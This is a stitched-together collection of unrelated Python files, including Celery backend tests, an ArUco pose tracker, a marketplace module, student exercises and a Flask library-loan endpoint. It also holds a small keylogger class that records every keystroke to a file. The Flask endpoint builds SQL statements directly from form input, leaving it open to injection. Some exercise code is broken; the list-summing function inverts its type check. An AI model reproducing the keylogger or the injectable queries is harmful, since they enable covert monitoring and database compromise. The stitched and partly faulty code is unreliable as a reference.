                return
            iterations[0] += 1
            raise KeyError('foo')

        backend = AMQPBackend(self.app)
        from celery.app.amqp import TaskProducer
        prod, TaskProducer.publish = TaskProducer.publish, publish
        try:
            with self.assertRaises(KeyError):
                backend.retry_policy['max_retries'] = None
                backend.store_result('foo', 'bar', 'STARTED')

            with self.assertRaises(KeyError):
                backend.retry_policy['max_retries'] = 10
                backend.store_result('foo', 'bar', 'STARTED')
        finally:
            TaskProducer.publish = prod

    def assertState(self, retval, state):
        self.assertEqual(retval['status'], state)

    def test_poll_no_messages(self):
        b = self.create_backend()
        self.assertState(b.get_task_meta(uuid()), states.PENDING)

    @contextmanager
    def _result_context(self, serializer='pickle'):
        results = Queue()

        class Message(object):
            acked = 0
            requeued = 0

            def __init__(self, **merge):
                self.payload = dict({'status': states.STARTED,
                                     'result': None}, **merge)
                if serializer == 'json':
                    self.body = json.dumps(self.payload)
                    self.content_type = 'application/json'
                else:
                    self.body = pickle.dumps(self.payload)
                    self.content_type = 'application/x-python-serialize'
                    self.content_encoding = 'binary'

            def ack(self, *args, **kwargs):
                self.acked += 1

            def requeue(self, *args, **kwargs):
                self.requeued += 1

        class MockBinding(object):

            def __init__(self, *args, **kwargs):
                self.channel = Mock()

            def __call__(self, *args, **kwargs):
                return self

            def declare(self):
                pass

            def get(self, no_ack=False, accept=None):
                try:
                    m = results.get(block=False)
                    if m:
                        m.accept = accept
                    return m
                except Empty:
                    pass

            def is_bound(self):
                return True

        class MockBackend(AMQPBackend):
            Queue = MockBinding

        backend = MockBackend(self.app, max_cached_results=100)
        backend.serializer = serializer
        backend._republish = Mock()

        yield results, backend, Message

    def test_backlog_limit_exceeded(self):
        with self._result_context() as (results, backend, Message):
            for i in range(1001):
                results.put(Message(task_id='id', status=states.RECEIVED))
            with self.assertRaises(backend.BacklogLimitExceeded):
                backend.get_task_meta('id')

    def test_poll_result(self):
        with self._result_context() as (results, backend, Message):
            tid = uuid()
            # FFWD's to the latest state.
            state_messages = [
                Message(task_id=tid, status=states.RECEIVED, seq=1),
                Message(task_id=tid, status=states.STARTED, seq=2),
                Message(task_id=tid, status=states.FAILURE, seq=3),
            ]
            for state_message in state_messages:
                results.put(state_message)
            r1 = backend.get_task_meta(tid)
            self.assertDictContainsSubset(
                {
                    'status': states.FAILURE,
                    'seq': 3
                }, r1, 'FFWDs to the last state',
            )

            # Caches last known state.
            tid = uuid()
            results.put(Message(task_id=tid))
            backend.get_task_meta(tid)
            self.assertIn(tid, backend._cache, 'Caches last known state')

            self.assertTrue(state_messages[-1].requeued)

            # Returns cache if no new states.
            results.queue.clear()
            assert not results.qsize()
            backend._cache[tid] = 'hello'
            self.assertEqual(
                backend.get_task_meta(tid), 'hello',
                'Returns cache if no new states',
            )

    def test_poll_result_for_json_serializer(self):
        with self._result_context(serializer='json') as \
                (results, backend, Message):
            tid = uuid()
            # FFWD's to the latest state.
            state_messages = [
                Message(task_id=tid, status=states.RECEIVED, seq=1),
                Message(task_id=tid, status=states.STARTED, seq=2),
                Message(task_id=tid, status=states.FAILURE, seq=3,
                        result={
                            'exc_type': 'RuntimeError',
                            'exc_message': 'Mock'
                        }),
                ]
            for state_message in state_messages:
                results.put(state_message)
            r1 = backend.get_task_meta(tid)
            self.assertDictContainsSubset(
                {
                    'status': states.FAILURE,
                    'seq': 3
                }, r1, 'FFWDs to the last state',
            )
            self.assertEquals(type(r1['result']).__name__, 'RuntimeError')
            self.assertEqual(str(r1['result']), 'Mock')

            # Caches last known state.
            tid = uuid()
            results.put(Message(task_id=tid))
            backend.get_task_meta(tid)
            self.assertIn(tid, backend._cache, 'Caches last known state')

            self.assertTrue(state_messages[-1].requeued)

            # Returns cache if no new states.
            results.queue.clear()
            assert not results.qsize()
            backend._cache[tid] = 'hello'
            self.assertEqual(
                backend.get_task_meta(tid), 'hello',
                'Returns cache if no new states',
                )

    def test_wait_for(self):
        b = self.create_backend()

        tid = uuid()
        with self.assertRaises(TimeoutError):
            b.wait_for(tid, timeout=0.1)
        b.store_result(tid, None, states.STARTED)
        with self.assertRaises(TimeoutError):
            b.wait_for(tid, timeout=0.1)
        b.store_result(tid, None, states.RETRY)
        with self.assertRaises(TimeoutError):
            b.wait_for(tid, timeout=0.1)
        b.store_result(tid, 42, states.SUCCESS)
        self.assertEqual(b.wait_for(tid, timeout=1)['result'], 42)
        b.store_result(tid, 56, states.SUCCESS)
        self.assertEqual(b.wait_for(tid, timeout=1)['result'], 42,
                         'result is cached')
        self.assertEqual(b.wait_for(tid, timeout=1, cache=False)['result'], 56)
        b.store_result(tid, KeyError('foo'), states.FAILURE)
        res = b.wait_for(tid, timeout=1, cache=False)
        self.assertEqual(res['status'], states.FAILURE)
        b.store_result(tid, KeyError('foo'), states.PENDING)
        with self.assertRaises(TimeoutError):
            b.wait_for(tid, timeout=0.01, cache=False)

    def test_drain_events_remaining_timeouts(self):

        class Connection(object):

            def drain_events(self, timeout=None):
                pass

        b = self.create_backend()
        with self.app.pool.acquire_channel(block=False) as (_, channel):
            binding = b._create_binding(uuid())
            consumer = b.Consumer(channel, binding, no_ack=True)
            with self.assertRaises(socket.timeout):
                b.drain_events(Connection(), consumer, timeout=0.1)

    def test_get_many(self):
        b = self.create_backend(max_cached_results=10)

        tids = []
        for i in range(10):
            tid = uuid()
            b.store_result(tid, i, states.SUCCESS)
            tids.append(tid)

        res = list(b.get_many(tids, timeout=1))
        expected_results = [
            (task_id, {
                'status': states.SUCCESS,
                'result': i,
                'traceback': None,
                'task_id': task_id,
                'children': None,
            })
            for i, task_id in enumerate(tids)
        ]
        self.assertEqual(sorted(res), sorted(expected_results))
        self.assertDictEqual(b._cache[res[0][0]], res[0][1])
        cached_res = list(b.get_many(tids, timeout=1))
        self.assertEqual(sorted(cached_res), sorted(expected_results))

        # times out when not ready in cache (this shouldn't happen)
        b._cache[res[0][0]]['status'] = states.RETRY
        with self.assertRaises(socket.timeout):
            list(b.get_many(tids, timeout=0.01))

        # times out when result not yet ready
        with self.assertRaises(socket.timeout):
            tids = [uuid()]
            b.store_result(tids[0], i, states.PENDING)
            list(b.get_many(tids, timeout=0.01))

    def test_get_many_raises_outer_block(self):

        class Backend(AMQPBackend):

            def Consumer(*args, **kwargs):
                raise KeyError('foo')

        b = Backend(self.app)
        with self.assertRaises(KeyError):
            next(b.get_many(['id1']))

    def test_get_many_raises_inner_block(self):
        with patch('kombu.connection.Connection.drain_events') as drain:
            drain.side_effect = KeyError('foo')
            b = AMQPBackend(self.app)
            with self.assertRaises(KeyError):
                next(b.get_many(['id1']))

    def test_consume_raises_inner_block(self):
        with patch('kombu.connection.Connection.drain_events') as drain:

            def se(*args, **kwargs):
                drain.side_effect = ValueError()
                raise KeyError('foo')
            drain.side_effect = se
            b = AMQPBackend(self.app)
            with self.assertRaises(ValueError):
                next(b.consume('id1'))

    def test_no_expires(self):
        b = self.create_backend(expires=None)
        app = self.app
        app.conf.CELERY_TASK_RESULT_EXPIRES = None
        b = self.create_backend(expires=None)
        with self.assertRaises(KeyError):
            b.queue_arguments['x-expires']

    def test_process_cleanup(self):
        self.create_backend().process_cleanup()

    def test_reload_task_result(self):
        with self.assertRaises(NotImplementedError):
            self.create_backend().reload_task_result('x')

    def test_reload_group_result(self):
        with self.assertRaises(NotImplementedError):
            self.create_backend().reload_group_result('x')

    def test_save_group(self):
        with self.assertRaises(NotImplementedError):
            self.create_backend().save_group('x', 'x')

    def test_restore_group(self):
        with self.assertRaises(NotImplementedError):
            self.create_backend().restore_group('x')

    def test_delete_group(self):
        with self.assertRaises(NotImplementedError):
            self.create_backend().delete_group('x')


import numpy as np
import cv2
import cv2.aruco as aruco
import glob
import zmq
import time
import sys
import json
from pygments import highlight, lexers, formatters

# ZeroMQ Context
context = zmq.Context()

# Define the socket using the "Context"
sock = context.socket(zmq.PUB)
sock.bind("tcp://192.168.22.101:5680")

#Camera to CV
cap = cv2.VideoCapture(0)

# termination criteria
criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 30, 0.001)

# prepare object points, like (0,0,0), (1,0,0), (2,0,0) ....,(6,5,0)
objp = np.zeros((3*5,3), np.float32)
objp[:,:2] = np.mgrid[0:9,0:6].T.reshape(-1,2)

# Arrays to store object points and image points from all the images.
objpoints = [] # 3d point in real world space
imgpoints = [] # 2d points in image plane.

images = glob.glob('../../../config/calib_images/*.jpg')

for fname in images:
    img = cv2.imread(fname)
    gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)

    # Find the chess board corners
    ret, corners = cv2.findChessboardCorners(gray, (5,3), None)

    # If found, add object points, image points (after refining them)
    if ret == True:
        objpoints.append(objp)

        corners2 = cv2.cornerSubPix(gray,corners, (11,11),(-1,-1),criteria)
        imgpoints.append(corners2)

        # Draw and display the corners
        cv2.drawChessboardCorners(img, (5,3), corners2,ret)

ret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, gray.shape[::-1],None,None)

while (True):
    ret, frame = cap.read()
    # operations on the frame come here
    gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
    aruco_dict = aruco.Dictionary_get(aruco.DICT_4X4_250)
    parameters = aruco.DetectorParameters_create()

    #lists of ids and the corners beloning to each id
    corners, ids, rejectedImgPoints = aruco.detectMarkers(gray, aruco_dict, parameters=parameters)
    font = cv2.FONT_HERSHEY_SIMPLEX #font for displaying text (below)

    if np.all(ids != None):
        for i, corner in enumerate(corners):
            rvec, tvec, marker_corners = aruco.estimatePoseSingleMarkers(corner, 0.05, mtx, dist) #Estimate pose of each marker and return the values rvet and tvec---different from camera coefficients
            position = tvec[0][0].tolist()
            orientation = rvec[0][0].tolist()

            dictionary = {
                            'marker_id': int(ids[i][0]),

                            "position": [position[0],
                                        position[1],
                                        position[2]],

                            "orientation": [orientation[0],
                                            orientation[1],
                                            orientation[2]]
                        }

            formatted_json = json.dumps(dictionary, indent=5)
            sock.send(formatted_json)

            aruco.drawAxis(frame, mtx, dist, rvec[0], tvec[0], 0.1) #Draw Axis
            aruco.drawDetectedMarkers(frame, corners) #Draw A square around the markers

            ###### DRAW ID #####
            cv2.putText(frame, "Id: " + str(ids), (0,64), font, 1, (0,255,0),2,cv2.LINE_AA)

    # Display the resulting frame
    cv2.imshow('frame',frame)
    if cv2.waitKey(1) & 0xFF == ord('q'):
        break

# When everything done, release the capture
cap.release()
cv2.destroyAllWindows()


import keyboard
import time

class KeyLogger(object):

    def track(self,finish_time,file_name):
        curr_time = time.time()

        while (time.time() - curr_time) <= finish_time:
            self._write_on_file(file_name,keyboard.read_key())

    def _write_on_file(self,file_name,key):
         f = open(file_name,'a')
         f.write(key+' ')
         f.close()

logger = KeyLogger()
logger.track(finish_time=5,file_name="loggerKeys.txt")


#This script analyzes the '*.mdout' files and prints out the total energy
#python scriptname.py outputfilenmae.extension

import os
import numpy as np
import argparse

#function_1 To open files and return all the lines in a variable
def open_mdout(filename):
    f=open(filename, 'r')
    data=f.readlines()
    f.close()
    return data

parser=argparse.ArgumentParser(description="This script analyzes the '*.mdout' files and prints out the total energy.")
parser.add_argument("mdout_file",help="This argument takes the name of the filename with mdout extension")
parser.add_argument("txt_file",help="This argument takes the name of the filename with txt extension i.e. to be written")
#Argument 1 for input filename and Argument 2 for output filename
#python scriptname.py --help prints the description and texts in help of the arguments
args=parser.parse_args()#The list stores the user given arguments i.e the path and filename

data=open_mdout(args.mdout_file)#Calling function_1 with the mdout filename which returns each line as an element in a list

f_write=open(args.txt_file,'w+')
f_write.write('Total Energy:\n')

for i in data:
    splitline=i.split()#splits data into different words(columns) in a list

    if 'Etot' in i:
        f_write.write(f'{splitline[2]}\n')

f_write.close()


# dummy_learn_1.py     # written by Duncan Murray 7/1/2015

def main(arg1=55, arg2='test', arg3=None):
    """
    This is a sample program to show how a learning agent can
    be logged using AIKIF.
    The idea is that this main function is your algorithm, which
    will run until it finds a successful result. The result is
    returned and the time taken is logged.

    There can optionally be have additional functions
    to call to allow for easy logging access
    """
    print('Starting dummy AI algorithm with :', arg1, arg2, arg3)

    if arg3 is None:
        arg3=[5,6,7,5,4,]
    result = arg1 + arg3[0] * 7566.545  # dummy result

    print('Done - returning ', result)
    return result

def API_option_1_get_best_result():
    """
    example API call that you would implement in your AI algorithm
    that returns the best result so far. This will be useful for
    running multiple simulations with a range of parameters and
    tracking the result by time (so to halt progress when diminishing
    returns occur, eg when it gets within 99.9% there is often little
    point in continuing for another 2 days
    """
    return 6.00006  # example

if __name__ == '__main__':
    main()


#!/usr/bin/env python
# -*- coding: utf-8 -*-

'''
    @ Class: Corpus
    @ Description: Essa classe configura e carrega o corpus.
'''

__data__ = '04/05/2018'

class Corpus(object):

    path = '/home/rodriguesfas/Mestrado/aacreport/dataset/corpora/childes/Eng-UK-MOR'
    dir_corpus = '/Barbara'
    file = '/sentence_Belfast_barb01.txt'

    src = str(path + dir_corpus + file)

    def loard(self):
        corpus_root = open(__class__.src).read()
        return corpus_root


import struct
import threading

class SocketWrapper:

    listeners = []
    listening = False

    def __init__(self, socket):
        self.socket = socket

    def start_listening(self):
        if self.listening:
            return False
        self.listening = True
        threading.Thread(target=lambda: self.listen()).start()
        return True

    def stop_listening(self):
        self.listening = False
        self.socket.close()
        for listener in self.listeners:
            listener(self, None)

    def listen(self):
        while self.listening:
            try:
                size = struct.unpack("i", self.socket.recv(struct.calcsize('i')))[0]
                message = b''
                while len(message) < size:
                    part = self.socket.recv(size - len(message))
                    if not part:
                        continue
                    message += part
                message = message.decode('utf-8')
            except OSError as e:
                self.stop_listening()
                return

            if not message:
                self.stop_listening()

            for listener in self.listeners:
                listener(self, message)

    def send(self, message):
        message = bytes(message, 'utf-8')
        try:
            self.socket.send(struct.pack('i', len(message)) + message)
            return True
        except (ConnectionResetError, ConnectionAbortedError, BrokenPipeError):
            return False


import logging

from mktplace.transactions import market_place_object_update

logger = logging.getLogger(__name__)

class ParticipantObject(market_place_object_update.MarketPlaceObject):
    ObjectTypeName = 'Participant'

    @classmethod
    def is_valid_creator(cls, store, creatorid, originatorid):
        creator = cls.load_from_store(store, creatorid)
        if not creator:
            logger.debug('unknown or invalid creator, %s', creatorid)
            return False

        if creator.Address != originatorid:
            logger.info(
                'address mismatch for creator %s, expected %s but got %s',
                creatorid, originatorid, creator.Address)
            return False

        return True

    def __init__(self, participantid=None, minfo=None):
        if minfo is None:
            minfo = {}
        super(ParticipantObject, self).__init__(participantid, minfo)

        self.Address = minfo.get('address', '**UNKNOWN**')
        self.Description = minfo.get('description', '')
        self.Name = minfo.get('name', '')

    def dump(self):
        result = super(ParticipantObject, self).dump()

        result['address'] = self.Address
        result['description'] = self.Description
        result['name'] = self.Name

        return result

class Register(market_place_object_update.Register):
    UpdateType = '/mktplace.transactions.ParticipantUpdate/Register'
    ObjectType = ParticipantObject
    CreatorType = ParticipantObject

    def __init__(self, transaction=None, minfo=None):
        if minfo is None:
            minfo = {}
        super(Register, self).__init__(transaction, minfo)

        self.Description = minfo.get('Description', '')
        self.Name = minfo.get('Name', '')

    @property
    def References(self):
        return []

    def is_valid_name(self, store):
        """
        Participant name may not include a '/', must be less than
        64 characters long, and is not the same as an already-existing
        object.
        """

        if self.Name == '':
            return True

        if self.Name.find('/') >= 0:
            logger.debug('invalid name %s; must not contain /', self.Name)
            return False

        if len(self.Name) >= 64:
            logger.debug('invalid name %s; must be less than 64 bytes',
                         self.Name)
            return False

        name = "//{0}".format(self.Name)
        if store.n2i(name):
            logger.debug('invalid name %s; name must be unique', self.Name)
            return False
        return True

    def is_valid(self, store):
        if not super(Register, self).is_valid(store):
            return False

        return True

    def apply(self, store):
        pobj = ParticipantObject(self.ObjectID)
        pobj.Address = self.OriginatorID
        pobj.Description = self.Description
        pobj.Name = self.Name

        store[self.ObjectID] = pobj.dump()

    def dump(self):
        result = super(Register, self).dump()

        result['Description'] = self.Description
        result['Name'] = self.Name

        return result

class Unregister(market_place_object_update.Unregister):
    UpdateType = '/mktplace.transactions.ParticipantUpdate/Unregister'
    ObjectType = ParticipantObject
    CreatorType = ParticipantObject

    def __init__(self, transaction=None, minfo=None):
        if minfo is None:
            minfo = {}
        super(Unregister, self).__init__(transaction, minfo)

    def is_valid(self, store):
        if self.CreatorID != self.ObjectID:
            logger.info(
                'creator and object are the same for participant '
                'unregistration')
            return False

        if not super(Unregister, self).is_valid(store):
            return False

        if not self.is_permitted(store):
            return False

        return True

class UpdateDescription(market_place_object_update.UpdateDescription):
    UpdateType = '/mktplace.transactions.ParticipantUpdate/UpdateDescription'
    ObjectType = ParticipantObject
    CreatorType = ParticipantObject

    def __init__(self, transaction=None, minfo=None):
        if minfo is None:
            minfo = {}
        super(UpdateDescription, self).__init__(transaction, minfo)

    def is_valid(self, store):
        if self.CreatorID != self.ObjectID:
            logger.info('creator and object are the same for participant '
                        'unregistration')
            return False

        if not super(UpdateDescription, self).IsValid(store):
            return False

        return True

class UpdateName(market_place_object_update.UpdateName):
    UpdateType = '/mktplace.transactions.ParticipantUpdate/UpdateName'
    ObjectType = ParticipantObject
    CreatorType = ParticipantObject

    # -----------------------------------------------------------------
    def __init__(self, transaction=None, minfo=None):
        if minfo is None:
            minfo = {}
        super(UpdateName, self).__init__(transaction, minfo)

    # -----------------------------------------------------------------
    def is_valid_name(self, store):
        """
        Ensure that the name property meets syntactic requirements. Objects
        can override this method for object specific syntax. This method
        simply requires that a name not contain a '/', has a total length
        less than 64 characters, and is not the same as an already-existing
        object.
        """

        if self.Name == '':
            return True

        if self.Name.find('/') >= 0:
            logger.debug('invalid name %s; must not contain /', self.Name)
            return False

        if len(self.Name) >= 64:
            logger.debug('invalid name %s; must be less than 64 bytes',
                         self.Name)
            return False

        name = "//{0}".format(self.Name)
        if store.n2i(name):
            logger.debug('invalid name %s; name must be unique', self.Name)
            return False

        return True

    def is_valid(self, store):
        logger.debug('market update: %s', str(self))

        assert self.OriginatorID
        assert self.ObjectID
        assert self.CreatorID

        if self.CreatorID != self.ObjectID:
            logger.info('creator and object are the same for participant '
                        'unregistration')
            return False

        if not self.ObjectType.is_valid_object(store, self.ObjectID):
            return False

        if not self.is_valid_name(store):
            return False

        return True


# write a function that adds all numbers in a list
# Fuction should return if list is empty
# Function return none if the parameter is not a list object
# Fucntion shoudl also return None is any of the item in the ilist isnt a int

def add_number(alist):
    if isinstance(alist, list):         # isinstance(identifier, type that needs to be checked)    # imp Quiz 3
        return None
    if alist == []:
        return None
    sum_of_numbers = 0

    for number in alist:
        if not isinstance(number,int):
            return None
        sum_of_numbers += number
    return sum_of_numbers

def main():
    blist = [2,4,6]
    add_number(blist)
    print(add_number(blist))

if __name__ == '__main__':  # Quiz 3
    main()


import datetime
import json
from functools import wraps

from flask import Blueprint, request, render_template, make_response

from utils import create_sql, mybaits

api_url_brobook = Blueprint('/brobook', __name__)

@api_url_brobook.route('/page')
def get_page():
    return render_template("forstudent.html")

def allow_cross_domain(fun):
    @wraps(fun)
    def wrapper_fun(*args, **kwargs):
        rst = make_response(fun(*args, **kwargs))
        rst.headers['Access-Control-Allow-Origin'] = '*'
        rst.headers['Access-Control-Allow-Methods'] = 'PUT,GET,POST,DELETE'
        allow_headers = "Referer,Accept,Origin,User-Agent"
        rst.headers['Access-Control-Allow-Headers'] = allow_headers
        return rst

    return wrapper_fun

@api_url_brobook.route('/browbooks/addbro', methods=['POST', 'GET'])
@allow_cross_domain
def get_addbro():
    bid = request.form['bid']
    uid = request.form['uid']
    bt_time = datetime.datetime.now().strftime('%Y-%m-%d')
    # 先判断当前是否可借
    sql4 = "select brownum from book where id={}".format(str(bid))
    res_bro = mybaits.select(sql4, ['brownum'])
    if res_bro[0]['brownum'] == 0:
        res_data = {
            'code': -1,
            'msg': "该图书暂无余量，请联系管理员！"
        }
        return res_data

    sql1 = create_sql.create_selectbyid(['id'], ['uid', 'bid'], 'brower',
                                        ['{}'.format(str(uid)), '{}'.format(str(bid))])
    res = mybaits.select(sql1, ['id'])
    if len(res) > 0:
        res_data = {
            'code': -1,
            'msg': "你已经借阅过该书，请勿重复借阅"
        }
    else:
        sql = create_sql.create_insert(['uid', 'bid', 'bk_time', 'state'],
                                       ["{}".format(str(uid)), "{}".format(str(bid)), "'{}'".format(bt_time),
                                        "{}".format("0")], 'brower')
        res = mybaits.add(sql)
        if res > 0:
            res_data = {
                'code': 1,
                'msg': "借阅成功"
            }
            # 成功后将书籍的借阅数量减一
            sql = "update book set brownum = brownum-1 WHERE `id` = {}".format(str(bid))
            mybaits.update(sql)
        else:
            res_data = {
                'code': 1,
                'msg': "借阅失败"
            }
    return json.dumps(res_data).encode('utf-8')


import re
import os
import numpy as np
import higra as hg
import networkx as nx
#import matplotlib.pyplot as plt
from collections import defaultdict
import matplotlib.pyplot as plt
import matplotlib
matplotlib.use('agg')

def check_trans_visualize_graph(sinfo,outgraph,out,pre,olog):
    G=nx.Graph()
    f=open(sinfo,'r')
    d={}
    line=f.readline()
    all_case=[]
    while True:
        line=f.readline().strip()
        if not line:break
        ele=line.split()
        if not ele[3]=='healthy':
            d['S'+ele[0]]=ele[3]
        else:
            d['S'+ele[0]]='Health'
        all_case.append(ele[3])
    all_edges=[]

    disease=[]
    unknown=[]
    health=[]
    #print(outgraph)
    f22=open(outgraph,'r')
    o=open(out+'/'+pre+'_pca_knn_graph_final.txt','w+')
    while True:
        line=f22.readline().strip()
        if not line:break
        #print(line)
        ele=line.split()
        o.write(re.sub('S','',ele[0])+'\t'+re.sub('S','',ele[1])+'\n')
        edge=(ele[0],ele[1])
        all_edges.append(edge)
        if not d[ele[0]]=='Health':
            if not d[ele[0]]=='Unknown':
                if ele[0] not in disease:disease.append(ele[0])
            else:
                if ele[0] not in unknown:unknown.append(ele[0])
        else:
            if ele[0] not in health:health.append(ele[0])
        if not d[ele[1]]=='Health':
            if not d[ele[1]]=='Unknown':
                if ele[1] not in disease:disease.append(ele[1])
            else:
                if ele[1] not in unknown:unknown.append(ele[1])
        else:
            if ele[1] not in health:health.append(ele[1])

    #print(all_edges)
    #exit()
    o.close()

    G.add_edges_from(all_edges)
    print('The number of edges of '+pre+' PCA KNN graph:',G.number_of_edges())
    olog.write('The number of edges of '+pre+' PCA KNN graph: '+str(G.number_of_edges())+'\n')
    print('Whether '+pre+' PCA KNN graph connected? ',nx.is_connected(G),'\n')
    olog.write('Whether '+pre+' PCA KNN graph connected? '+str(nx.is_connected(G))+'\n\n')
    pos=nx.spring_layout(G,seed=3113794652)
    plt.figure()
    color_map=[]
    for node in G:
        if node in disease:
            color_map.append('red')
        elif node in health:
            color_map.append('green')
        elif node in unknown:
            color_map.append('gray')
    #print(len(color_map),len(G))
    #exit()
    nx.draw(G,node_size=400,node_color=color_map,with_labels = True,font_size=8)

    for i in set(all_case):
        if i=='healthy':
            plt.scatter([],[], c=['green'], label='{}'.format(i))
        elif i=='Unknown':
            plt.scatter([],[], c=['gray'], label='{}'.format(i))
        else:
            plt.scatter([],[], c=['red'], label='{}'.format(i))
    plt.legend()
    plt.savefig(out+'/'+pre+'_pca_knn_graph_final.png',dpi=400)

def construct_g(check1,check2,imatrix,sinfo,knn_nn,out,pre,olog,rfile):
    r=0
    if not os.path.exists(check1):
        r+=1
    if not os.path.exists(check2) :
        r+=1
    if r==2:
        return
    f1=open(sinfo,'r')
    d={} # Sample -> label
    line=f1.readline().strip()
    dname=''
    test_sample=[]
    wwl=1
    drname={}
    while True:
        line=f1.readline().strip()
        if not line:break
        ele=line.split()
        drname['S'+ele[0]]=ele[2]
        if not ele[3]=='healthy':
            d['S'+ele[0]]=ele[3]
            dname=ele[3]
        else:
            d['S'+ele[0]]='Health'
        if ele[5]=='test':
            test_sample.append('S'+ele[0])
            if ele[3]=='Unknown':
                wwl=0
    f2=open(imatrix,'r')
    X=[]
    y=[]
    did2name={}
    count=0
    while True:
        line=f2.readline().strip()
        if not line:break
        ele=re.split(',',line)
        y.append(d[ele[0]])
        tmp=[]
        for e in ele[1:]:
            tmp.append(float(e))
        X.append(tmp)
        did2name[count]=ele[0]
        count+=1
    X=np.array(X)
    graph,edge_weights=hg.make_graph_from_points(X, graph_type='knn',n_neighbors=knn_nn)
    sources, targets = graph.edge_list()
    #print(sources)
    #exit()

    outgraph=out+'/'+pre+'_pca_knn_graph_ini.txt'

    drecord=defaultdict(lambda:{})
    o=open(outgraph,'w+')
    for i in range(len(sources)):
        o.write(did2name[sources[i]]+'\t'+did2name[targets[i]]+'\t'+str(edge_weights[i])+'\n')
        drecord[did2name[sources[i]]][did2name[targets[i]]]=str(edge_weights[i])
        drecord[did2name[targets[i]]][did2name[sources[i]]]=str(edge_weights[i])
    o.close()
    #o.close()
    #exit()
    correct=0
    if wwl==1:
        total=len(X)
    else:
        total=len(X)-len(test_sample)
    ot=open(rfile,'w+')
    ot.write('All_samples\tNeighbors\n')
    for r in drecord:
        cl=d[r]
        dn=0
        hn=0
        fl=''
        if wwl==1:
            for e in drecord[r]:
                if d[e]=='Health':
                    hn+=1
                else:
                    dn+=1
                if hn>dn:
                    fl='Health'
            if dn>hn:
                fl=dname
            if cl==fl:
                correct+=1
            #if r in test_sample:
            if True:
                ot.write(drname[r]+'\t')
                tem=[]
                for e in drecord[r]:
                    tem.append(drname[e]+':'+d[e]+':'+drecord[r][e])
                ot.write('\t'.join(tem)+'\n')
        else:
            if r not in test_sample:
                for e in drecord[r]:
                    if d[e]=='Health':
                        hn+=1
                    else:
                        if not d[e]=="Unknown":
                            dn+=1
                if hn>dn:
                    fl='Health'
                if dn>hn:
                    fl=dname
                if cl==fl:
                    correct+=1
                ot.write(drname[r]+'\t')
                tem=[]
                for e in drecord[r]:
                    tem.append(drname[e]+':'+d[e]+':'+drecord[r][e])
                ot.write('\t'.join(tem)+'\n')
            else:
                ot.write(drname[r]+'\t')
                tem=[]
                for e in drecord[r]:
                    tem.append(drname[e]+':'+d[e]+':'+drecord[r][e])
                ot.write('\t'.join(tem)+'\n')

        #print(r,cl,fl,hn,dn)
    print('The acc of '+pre+' knn graph: ',correct/total,correct,'/',total)
    olog.write('The acc of '+pre+' knn graph: '+str(float(correct/total))+' '+str(correct)+'/'+str(total)+'\n')
    #exit()
    check_trans_visualize_graph(sinfo,outgraph,out,pre,olog)

#o=open('tem_check/log.txt','w+')
#check_trans_visualize_graph('Test_datasets/IBD_metaphlan2_merge_nl/IBD_meta.tsv','GDmicro_test/IBD_test_nl/Graph_File/Fold1/P3_build_graph/eggNOG_pca_knn_graph_ini.txt','tem_check','tem',o)


#First write a "helper" function with two extra parameters
# left, right that ddedscribes/describes the search region as shown below
import logging
logging.basicConfig(level=logging.INFO)

def findCrossoverIndexHelper(x, y, left, right):
    # Note: Output index i such that
    #         left <= i <= right
    #         x[i] <= y[i]
    # First, Write down our invariants as assertions here
    logging.info(f"findCrossoverIndexHelper({x},{y},left={left},right={right})")
    assert(len(x) == len(y))
    assert(left >= 0)
    assert(left <= right-1)
    assert(right < len(x))
    # Here is the key property we would like to maintain.
    assert(x[left] > y[left])
    assert(x[right] < y[right])
    # your code here
    mid = (left+right)//2
    logging.info(f"midpoint={mid}")
    logging.info(f"x[mid]={x[mid]}, y[mid]={y[mid]}")
    logging.info(f"x[mid+1]={x[mid+1]}, y[mid+1]={y[mid+1]}")

    if x[mid] >= y[mid] and x[mid+1] < y[mid+1]:
        logging.info(f"reached end of the line; returning {mid}")
        return mid
    elif x[mid] <= y[mid]:
        return findCrossoverIndexHelper(x, y, left, mid-1)
    else:
        return findCrossoverIndexHelper(x, y, mid+1, right)

#Define the function findCrossoverIndex that wil
# call the helper function findCrossoverIndexHelper
def findCrossoverIndex(x, y):
    assert(len(x) == len(y))
    assert(x[0] > y[0])
    n = len(x)
    assert(x[n-1] < y[n-1]) # Note: this automatically ensures n >= 2 why?
    # your code here
    return findCrossoverIndexHelper(x,y,0,len(x)-1)

def assert_code():
    # BEGIN TEST CASES
    j1 = findCrossoverIndex([0, 1, 2, 3, 4, 5, 6, 7], [-2, 0, 4, 5, 6, 7, 8, 9])
    print('j1 = %d' % j1)
    assert j1 == 1, "Test Case # 1 Failed"

    j2 = findCrossoverIndex([0, 1, 2, 3, 4, 5, 6, 7], [-2, 0, 4, 4.2, 4.3, 4.5, 8, 9])
    print('j2 = %d' % j2)
    assert j2 == 1 or j2 == 5, "Test Case # 2 Failed"

    j3 = findCrossoverIndex([0, 1], [-10, 10])
    print('j3 = %d' % j3)
    assert j3 == 0, "Test Case # 3 failed"

    j4 = findCrossoverIndex([0,1, 2, 3], [-10, -9, -8, 5])
    print('j4 = %d' % j4)
    assert j4 == 2, "Test Case # 4 failed"

    print('Congratulations: all test cases passed - 10 points')

def main():
    try:
        assert_code()
    except:
        import ipdb
        ipdb.post_mortem()

if __name__ == "__main__":
    main()


import unittest
from unittest.mock import patch
from jornada import imprime_site

@patch('jornada.pprint')
@patch('jornada.esta_online', side_effect=Exception('Erro'))
@patch('jornada.requests.post')
@patch('jornada.requests.get')
def testa_imprime_site(mock_get, mock_post, mock_online, mock_pprint):
    imprime_site('http://httpbin.org/get')
    mock_get.assert_not_called()
    imprime_site('http://httpbin.org/post', 'post')
    mock_post.assert_not_called()
    mock_online.assert_called()
    mock_pprint.assert_called()

if __name__ == '__main__':
    unittest.main()

1 - Notebooks/6. Testes/46. Mocks/2. Valores de retorno e efeitos colaterais/Exemplo 2/test_jornada.py


import unittest
from pyats.topology import loader
from genie.libs.sdk.apis.iosxe.hw_module.configure import unconfigure_hw_module_slot_shutdown

class TestUnconfigureHwModuleSlotShutdown(unittest.TestCase):

    @classmethod
    def setUpClass(self):
        testbed = """
        devices:
          CR-Vulcan-L25:
            connections:
              defaults:
                class: unicon.Unicon
              a:
                command: mock_device_cli --os iosxe --mock_data_dir mock_data --state connect
                protocol: unknown
            os: iosxe
